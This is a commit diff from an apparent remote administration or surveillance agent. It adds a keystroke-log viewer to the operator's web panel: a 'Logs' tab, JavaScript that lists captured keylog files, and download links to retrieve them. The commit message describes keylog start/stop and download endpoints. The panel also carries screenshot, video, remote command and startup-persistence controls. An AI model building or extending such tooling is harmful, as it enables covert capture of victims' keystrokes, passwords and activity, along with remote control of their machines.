Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -8,6 +8,8 @@
|
||||
const shotGallery = document.getElementById("shot-gallery");
|
||||
const execOut = document.getElementById("exec-out");
|
||||
const execMeta = document.getElementById("exec-meta");
|
||||
const logMeta = document.getElementById("log-meta");
|
||||
const logRows = document.getElementById("log-rows");
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
@@ -290,6 +292,31 @@
|
||||
field.value = "";
|
||||
}
|
||||
|
||||
async function listKeylogs() {
|
||||
const res = await api("/api/v1/keylog");
|
||||
const data = await res.json();
|
||||
const files = data.files || [];
|
||||
logMeta.textContent = `${files.length} files · ${data.directory || ""}`;
|
||||
logRows.replaceChildren();
|
||||
for (const file of files) {
|
||||
const tr = document.createElement("tr");
|
||||
const name = document.createElement("td");
|
||||
name.textContent = file.name;
|
||||
const size = document.createElement("td");
|
||||
size.textContent = formatBytes(file.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||
const action = document.createElement("td");
|
||||
const link = document.createElement("a");
|
||||
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
|
||||
link.download = file.name;
|
||||
link.textContent = "Download";
|
||||
action.append(link);
|
||||
tr.append(name, size, modified, action);
|
||||
logRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
async function runCommand() {
|
||||
const command = document.getElementById("exec-command").value.trim();
|
||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||
@@ -314,6 +341,9 @@
|
||||
if (button.dataset.tab !== "video") {
|
||||
stopVideo();
|
||||
}
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -358,6 +388,9 @@
|
||||
document.getElementById("exec-run").addEventListener("click", () => {
|
||||
runCommand().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||
})();
|
||||
|
||||
@@ -145,6 +145,7 @@
|
||||
<button data-tab="screenshot">Screenshot</button>
|
||||
<button data-tab="video">Video</button>
|
||||
<button data-tab="exec">Command</button>
|
||||
<button data-tab="logs">Logs</button>
|
||||
</nav>
|
||||
<main>
|
||||
<section id="status" class="panel active">
|
||||
@@ -222,6 +223,19 @@
|
||||
<p id="exec-meta" class="meta"></p>
|
||||
<pre id="exec-out"></pre>
|
||||
</section>
|
||||
<section id="logs" class="panel">
|
||||
<div class="row">
|
||||
<h2>Keystroke logs</h2>
|
||||
<button id="log-refresh" class="primary" type="button">Refresh</button>
|
||||
</div>
|
||||
<p id="log-meta" class="meta"></p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="log-rows"></tbody>
|
||||
</table>
|
||||
</section>
|
||||
</main>
|
||||
<script src="/app.js"></script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user